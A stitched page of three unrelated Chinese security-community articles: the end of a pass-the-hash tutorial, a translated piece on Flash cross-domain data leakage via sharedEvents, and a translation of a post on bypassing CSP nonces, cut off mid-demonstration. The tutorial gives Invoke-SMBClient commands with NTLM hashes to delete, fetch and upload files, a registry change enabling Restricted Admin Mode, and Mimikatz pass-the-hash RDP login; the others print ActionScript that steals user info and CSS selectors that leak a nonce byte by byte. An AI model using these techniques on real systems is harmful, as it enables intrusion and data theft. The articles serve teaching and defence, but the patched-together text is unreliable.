Invoke-SMBClient -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Source \\DC.whoamianony.org\c$ -verbose
# Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose 查看远程主机共享目录
还有以下几种操作：
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\file.txt # 删除远程主机上指定的共享文件
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt # 在远程主机上下载指定的共享文件
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \\server\share\subdirectory\file.exe # 向远程主机的共享目录中上传指定的文件
## 利用哈希传递登录 RDP 远程桌面
在内网渗透中，如果获得了某个用户的 NTLM
哈希，我们不仅可以尝试使用哈希传递的方法对WMI和SMB服务进行登录，对于远程桌面服务我们同样可以利用哈希传递进行远程登录。
### 借助 Restricted Admin Mode 进行哈希传递登录 RDP
**适用系统：**
* Windows 8.1和Windows Server 2012 R2默认支持该功能
* Windows 7和Windows Server 2008 R2默认不支持，需要安装补丁kb2871997、kb2973351
Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议，在这个新版协议中有一个 ”受限管理员” （Restricted
Admin）的特性。相信渗透测试人员和系统管理员都会对这个特性有足够的兴趣，因为通过这个特性，我们可以实现哈希传递攻击并成功登录远程桌面。
在抓取到的 Hash 无法破解的情况下，如果目标主机开启了 "Restricted Admin Mode" 也行，那么我们便可以使用 Hash 来直接实现
RDP 远程登录。 Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默认开启。
我们在渗透过程中可以通过修改注册表的方式开启目标主机的 Restricted Admin Mode，值为 0 代表开启，值为 1 代表关闭：
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" # 查看是否成功开启
如上图所示，成功在目标主机开启了 Restricted Admin Mode。
然后再攻击机上使用 Mimikatz 进行哈希传递，大致原理就是哈希传递成功后执行 `mstsc.exe /restrictedadmin`
来打开远程桌面：
privilege::debug
sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
报错了，说 CredSSP 加密数据库错误，大概是因为 Windows 10 家庭版的原因吧。然后更换了另一个版本的 Windows 成功了：
注意，这里的受限管理员模式顾名思义只对管理员组有效。所以如果你获取到的用户属于远程桌面用户组，那么是无法通过 Hash 登录的。
### 哈希传递攻击的预防
微软在2014年5月发布了 KB2871997 和 KB2928120
两个补丁。KB2871997是针对PTH攻击的，这个被称为“PTH杀手”的更新将使本地帐号不再可以用于远程接入系统，不管是 Network logon 还是
Interactive login。其后果就是：无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC
等，也无法访问远程主机的文件共享等。
但是在测试中发现，在打了 kb2871997 这个补丁后，常规的哈希传递已经无法成功，但是唯独默认的 Administrator（SID
500）帐号例外，利用这个账号仍可以进行哈希传递。注意即使把Administrator改名了，它的SID仍然是500，只要它还是 SID
500那么以前的攻击方法还是有效。
## Ending......
文中若有不足之处，还请各位大佬多多点评。
我的博客：<https://whoamianony.top/> | 社区文章 |
# 【技术分享】Flash的跨域问题
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：MerJerson@360CERT
**0x00 背景**
Flash是一种动画创作与应用程序开发于一身的创作软件，到2013年9月2日为止,最新的零售版本为AdobeFlash
ProfessionalCC（2013年发布）。Adobe Flash Professional
CC为创建数字动画、交互式Web站点、桌面应用程序以及手机应用程序开发提供了功能全面的创作和编辑环境。Flash广泛用于创建吸引人的应用程序，它们包含丰富的视频、声音、图形和动画。可以在Flash中创建原始内容或者从其它Adobe应用程序（如Photoshop或illustrator）导入它们，快速设计简单的动画，以及使用Adobe
ActionScript 3.0开发高级的交互式项目。设计人员和开发人员可使用它来创建演示文稿、应用程序和其它允许用户交互的内容。
与其他应用型语言一样，Flash的运行也是基于安全沙箱环境。因为自身设计的缺陷，一直有安全问题。在精心构造的flash下，会有信息泄露的风险。
**0x01 Flash安全沙箱**
客户端计算机可以获得包含来自许多源（如外部网站、本地文件系统或安装的 AIR 应用程序）的代码、内容和数据的各个文件。Flash Player 和 AIR
运行时会根据代码文件及其他资源（如共享对象，位图、声音、视频和数据文件）加载时的来源分别将其分配到安全沙箱中。
**远程沙箱**
Flash Player 和 AIR 运行时将来自 Internet 的资源（包括 SWF 文件）分类到与其原始域对应的单独沙箱中。例如，会将从
example.com 加载的资源放置到与从 foo.org
加载的资源不同的安全沙箱中。默认情况下，对这些文件授予访问其自身所在服务器中任何资源的权限。通过显式的 Web 站点许可和作者许可（例如 URL 策略文件和
Security.allowDomain() 方法），可以允许远程 SWF 文件访问其他域的其他数据。但是远程沙箱无法加载本地资源文件
**本地沙箱**
“本地文件”是指通过使用 file: 协议或统一命名约定 (UNC) 路径引用的任何文件。本地 SWF 文件放置在四个本地沙箱中的一个内：
**只能与本地文件系统内容交互的沙箱** — 出于安全方面的考虑，默认情况下，Flash Player 和 AIR
运行时会将所有本地文件放置在只能与本地文件系统内容交互的沙箱中。通过此沙箱，可执行代码可以读取本地文件（例如通过使用 URLLoader
类），但无法通过任何方式与网络通信。这样可向用户保证本地数据不会泄漏到网络或以其他方式不适当地共享。
**只能与远程内容交互的沙箱** — 编译 SWF
文件时，可以指定该文件作为本地文件运行时拥有网络访问权限。这些文件位于只能与远程内容交互的沙箱中。分配到只能与远程内容交互的沙箱中的 SWF
文件将失去其本地文件访问权限，但允许这些 SWF 文件访问网络中的数据。不过，只有通过 URL 策略文件或调用 Security.allowDomain()
方法来授予操作权限，才允许远程内容交互的 SWF 文件读取源自网络的数据。为授予此类权限，URL 策略文件必须向“所有”域授予权限，方法是使用
<allow-access-from domain=”*”/> 或使用 Security.allowDomain(“*”)。有
**受信任的本地沙箱** — 注册为受信任（由用户或安装程序注册）的本地 SWF 文件放置在受信任的本地沙箱中。系统管理员和用户还可以根据安全注意事项将本地
SWF 文件重新分配（移动）到受信任的本地沙箱，或者从受信任的本地沙箱重新分配（移动）本地 SWF 文件分配到受信任的本地沙箱的 SWF 文件可以与其他任何
SWF 文件交互，也可以从任何位置（远程或本地）加载数据。
**AIR 应用程序安全沙箱** — 该沙箱包含在运行 AIR 应用程序时安装的内容。默认情况下，在 AIR
应用程序沙箱中执行的代码可跨脚本访问来自任何域的代码。但是，不允许 AIR 应用程序沙箱外的文件跨脚本访问应用程序沙箱内的代码。默认情况下，AIR
应用程序沙箱内的代码和内容可加载来自任何域的内容和数据。
只能与远程内容交互的沙箱和只能与本地文件系统内容交互的沙箱之间的通信以及只能与本地文件系统内容交互的沙箱和远程沙箱之间的通信是严格禁止的。运行于 Flash
Player 中的应用程序或用户/管理员不能授予允许此类通信的权限。
在本地 HTML 文件和本地 SWF 文件之间以任一方向访问脚本（例如使用 ExternalInterface 类）均要求涉及的 HTML 文件和 SWF
文件应位于受信任的本地沙箱中。这是因为浏览器的本地安全模型与 Flash Player 本地安全模型不同。
只能与远程内容交互的沙箱中的 SWF 文件无法加载只能与本地文件系统内容交互的沙箱中的 SWF 文件。只能与本地文件系统内容交互的沙箱中的 SWF
文件无法加载只能与远程内容交互的沙箱中的 SWF 文件。
**0x02 攻击实现**
在swf中可以包含包含代码Security.allowDomain（“*”），以允许主机网页上的javascript将命令发送到Flash应用程序，如play（），pause（）等等。这也意味着Evil
Wrapper可以访问任何公共属性，就像在同一个安全沙箱中一样。但是它无法访问私有属性。
public function Wrapper(){
// allow external javascript/Flash files to access its public properties
Security.allowDomain("*");
// load the Main App
this.appLoader .load(new URLRequest("https://xxxx.com/.../attack2.swf");
// add as child of display container
this.addChild(this.appLoader );
// loaderInfo.sharedEvents Api
this.loader.contentLoaderInfo.sharedEvents
.addEventListener("REQUEST_USERINFO", this.onRequestUserinfo);
}
在Flash中加载外部Flash文件有点类似于在html中加载 **< iframe>**。如果iframe来自与其父项不同的来源，则由于 **同源策略**
（SOP），它们不能访问彼此的属性。
Flash还提供了一个Api，用于在Loader和加载文件之间使用loaderInfo.sharedEvents进行通信。使用此API与主应用程序进行通信。当主应用程序将一个事件发送到sharedEvents
Api时，接收事件并使用event.data属性发回用户信息。此处，恰恰是打破沙箱，跨域的关键。
private function onRequestUserinfo（event：Event）{
//将用户信息写入event.data属性
// sharedEvents调用者可以访问它
event.data.user_name = this .user_name;
event.data.user_image = this .user_image;
}
并且loaderInfo.sharedEvents不仅可以访问加载程序和加载的文件，还可以访问任何引用此loaderInfo对象的Flash文件。
举一个例子，Youtube曾经对视频提供过Flash API。我们可以构造如下的wrapper:
var loader = new Loader();
// Load the Youtube Wrapper
loader.load(new URLRequest("https://www.youtube.com/v/[VIDEO_ID]"));
var youtubeWrapper = loader.content;
// Access the Youtube Wrapper appLoader object
var appLoader = youtubeWrapper.getChildAt(0);
// Access the loaderInfo.sharedEvents of appLoader
var LeakingSharedEvents = appLoader.contentLoaderInfo.sharedEvents;
// Prepare the event to send to Youtube Wrapper
var leakEvent = new Event("Request_username");
leakEvent.data = new Object();
// Send the leakEvent to the LeakingSharedEvents
LeakingSharedEvents.dispatchEvent(leakEvent);
// The username is now accessible in the event.data property
trace(leakEvent.data.user_name);
trace(leakEvent.data.user_picture);
如次这样的话，就可以通过 **LoaderInfo.sharedEvent** 进行跨域资源访问。许多网站都提供flash播放，这样的话会有很大的隐患，因为
**sharedEvents** 带来的跨域问题，常常用来窃取用户信息。
根据之上所讲的攻击原理，我们可以构造如下的具体的攻击模型如下：
**0x03 总结**
21世纪初，Flash开创性的推出FLV容器格式和vp6vp7视频压缩算法，让视频不用缓冲就能秒看。进入智能时代后，H5和其他前端技术发展极大的冲击了Flash。Adobe发布声明，将在2020年前停止开发和分发Flash插件，在未来三年的时间内，苹果、Facebook、谷歌、微软和Mozilla渐渐停止对Flash的支持，看来死期已到。
但是目前来看，一些网站，对Flash的转型还不完全，比如目前市面上的各种页游，小型视频网站，以及弹窗广告。现在大都延续着Flash，这都是潜藏着的攻击面。 | 社区文章 |
原文：http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
原作者：EDUARDO VELA
译： **Holic (知道创宇404安全实验室)**
**TL;DR**
CSP nonces 在对抗 DOM XSS 方面似乎并没有所谓的奇效。你可以通过几种方法绕过它们。我不知道如何修复，也许不应该修复。
> 感谢阅读。这篇博文介绍了绕过 CSP nonce 的方法。从上下文入手，然后介绍了在几种情况下绕过 CSP nonce
> ，结尾是一些评论。一如既往，这篇博文是我对这些问题的个人意见，而且很想听到你的观点。
### 我与 CSP 的关系，“错综复杂”
我曾很喜欢 Content-Security-Policy。打印在 2009 年，我为此兴奋无比。我兴致高涨，甚至花了一段时间在我的 [ACS
项目](https://scholar.google.com/citations?view_op=view_citation&hl=en&user=ChN2MJ8AAAAJ&citation_for_view=ChN2MJ8AAAAJ:2osOgNQ5qMEC)
上实现
[CSP](https://drive.google.com/file/d/0B5lUjt0VcAB9Y3Jua0psNXR6amM/view?usp=sharing)
(据我所知，这是第一个运行的 CSP 实现/原型)。它支持 hash 和白名单，我当时确信这可太棒了！我的摘要都是以“我是如何解决 XSS”作为开头的。
但是有一天，我的朋友 elhacker.net(WHK) 指出 ACS（以及 CSP 的扩展）通过 JSONP 可以很简单地绕过。他指出，如果你将包含
JSON 接口的域名列入白名单，那么你的防护就被破解了，而且确实有那么多问题，我还没有发现一个简单的方法来解决这个问题。我的心都碎了。?
快进至 2015 年，当时 Mario Heiderich 举办了一个很酷的 XSS 挑战赛，叫做“[sh*t, it's
CSP](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)”，其中有个挑战题是逃避一个看起来安全的 CSP 防护以及尽可能给出最短的
payload。不出所料，JSONP 出现了（但 Angular 和 Flash 也可以）。多说无益。
然后终于在 2016 年，一篇颇受欢迎的文章 “[CSP Is Dead，Long Live
CSP!](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf)”
总结了 WHK 和 Mario 对互联网整体 CSP 部署进行调查之后所强调的问题，由
[Miki](https://twitter.com/mikispag), [Lukas](https://twitter.com/we1x),
[Sebastian](https://twitter.com/slekies) 以及
[Artur](https://twitter.com/arturjanc)展示。这篇文章的结论是，CSP 白名单破碎不堪毫无益处。至少给 CSP
办场葬礼吧，我想。
CSP nonces 首先推出的时候，我对它们的关注点在于，它的传播似乎真的很困难。为了解决问题，2012 年的 [dominatrixss-csp](https://code.google.com/archive/p/dominatrixss-csp/)
致力于解决此问题，以便所有动态生成的脚本节点通过使用 _dynamic resource filter_
传播脚本随机数。这直接简化了随机数（nonce）的传播。因此，准确的方法在其文章中提出，并命名为 "strict-dynamic"，而不是
"dominatrixss-csp" 的运行时脚本。这便有了很大的改善。我们自己获得了原生 dominatrixss！
这种[新风格的
CSP](https://csp.withgoogle.com/docs/index.html)，建议完全忽略白名单，并完全依赖随机数(nonces)。虽然
CSP nonces
的部署比白名单更困难（因为它需要服务器端更改每个单独的页面与策略），尽管如此它似乎提出了真正的安全上的益处，这显然缺乏基于白名单的方法。所以，今年秋天，我再一次为此感到相当[乐观](https://twitter.com/sirdarckcat/status/772895733104119809)。也行有一种方法，使大多数
XSS 实际上 *真的* 无法利用。CSP 毕竟不是盖的。
但是在这个圣诞节，就像是圣诞老人带来一颗煤球，Sebastian Lekies 指出一点，在我看来似乎是对 CSP nonce 的重大打击，几乎使 CSP
对 2016 年的很多 XSS 漏洞无效。
### A CSS+CSP+DOM XSS [three-way](https://en.oxforddictionaries.com/definition/three-way)
尽管 CSP nonce 看起来确实能缓解 15 岁的 XSS 漏洞，它对 DOM XSS 来说似乎并不是很有效。为了解释原因，我需要告诉你当代 Web
应用程序是怎么写的，这与2002年有何不同。
以前，大多数应用程序的逻辑存在于服务端，但是过去十年中它已经越来越多地向客户端发展。现如今，开发 Web 应用程序最有效的方法是在在 HTML
JavaScript 中变现大多数 UI 代码。这允许 web 程序可离线使用，而且终端提供强大的 web API 访问。
现在，新开发的应用程序仍存在 XSS，区别在于，由于很多代码是用 JavaScript 写的，所以现在它们存在 DOM XSS 漏洞。这些正是 CSP
nonces 不能统一防御（至少按照目前的实现）的错误类型。
我给你三个 DOM XSS 的例子（当然，列表不完全概括），CSP nonces 通常不能单独防御：
1. 持久型 DOM XSS，当攻击者可以强制将页面跳转至易受攻击的页面，并且 payload 不包括在缓存的响应中（需要提取）。
2. 包含 **第三方 HTML 代码** 的 DOM XSS 漏洞（例如，fetch(location.pathName).then(r=>r.text()).then(t=>body.innerHTML=t);）
3. XSS payload 存在于 `location.hash` 中的 DOM XSS 漏洞（例如 `https://victim/xss#!foo?payload=`）
个中缘由需要回溯到 2008 年（woooosh！）。早在 2008 年， [Gareth
Heyes](http://twitter.com/garethheyes), David
Lindsay(http://twitter.com/thornmaker) 和我在微软 Bluehat 做了一个小型演示，叫做 [CSS - The
Sexy
Assassin](https://docs.google.com/viewer?url=www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt)。其中，我们演示了一种技术，纯粹用
CSS3 选择器读取 HTML 属性（被 [WiSec](http://twitter.com/wisecwisec) 偶然重新发现，并在几个月后由
[kuza55](https://twitter.com/kuza55) 在他们的 25c3 访谈 [Attacking Rich Internet
Applications](https://www.youtube.com/watch?v=RNt_e0WR1sc) 中呈现）。
这个攻击方式的结论是，创建一个 CSS 程序从 HTML 属性中逐字节提取数据是可行的，只需通过在每次 CSS 选择器匹配时生成 HTTP
请求，并持续重复。如果你没有看懂它是怎么回事，看看这里。它的工作方式非常简单，它只是创建了一个表单的 CSS 属性选择器：
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}
[...]
然后，一旦我们得到匹配结果，重复：
*[attribute^="aa"]{background:url("record?match=aa")}
*[attribute^="ab"]{background:url("record?match=ab")}
*[attribute^="ac"]{background:url("record?match=ac")}
[...]
直到它提取出完整的属性。
script 标签的攻击非常简单。我们需要做完全相同的攻击，只需要确保 script 标签设置为 display:block; 。
因此，我们现在可以使用 CSS 提取 CSP nonce，我们唯一需要这么做的就是在同一页面注入多次。上面我给你的 DOM XSS
的三个例子正是如此。一种在同一文档多次注入 XSS payload 的方法。三个完美方案。
### Proof of Concept
Alright! Let's do this =)
首先，要有 **持久型 DOM XSS** 。这一点是普遍问题，因为如果在“新世界”中，开发者应该使用 JavaScript 编写
UI，那么动听的内容需要异步来自服务器。
我的意思是，如果你使用 HTML + JavaScript 编写的 UI
代码，那么用户数据必须来自服务器。虽然此设计模式允许你控制应用程序加载的流程，但是它也使得加载同一文档两次可以返回不同的数据。
当然，现在的问题是：如果强制网页文档加载两次！当然是用 HTTP 缓存了！这就是 Sebastian 在圣诞节给我们展示的。
A happy @slekies wishing you happy CSP holidays! Ho! ho! ho! ho!
Sebastian 解释了 CSP nonce 与大多数缓存机制不见人的情况，并提供了一个简单的 PoC 来证明。经过 Twitter
的一系列讨论，结论相当清楚。
向你展示一个例子吧，我们从 [APPEngine
入门指南](https://cloud.google.com/appengine/docs/python/getting-started/creating-guestbook)中获取默认的 Guestbook
示例，并添加[一些改动](https://github.com/sirdarckcat/appengine-guestbook-python/commit/fc5161df0a6b778471bde879bbc44cb8a9eade59)：添加 AJAX 支持和 CSP
nonces。应用程序很简单，有[明显的 XSS 漏洞](https://github.com/sirdarckcat/appengine-guestbook-python/blob/fc5161df0a6b778471bde879bbc44cb8a9eade59/index.html#L92)，但它[被 CSP
nonces 防护](https://github.com/sirdarckcat/appengine-guestbook-python/blob/fc5161df0a6b778471bde879bbc44cb8a9eade59/guestbook.py#L91)了，真的吗？
* * * | 社区文章 |
Subsets and Splits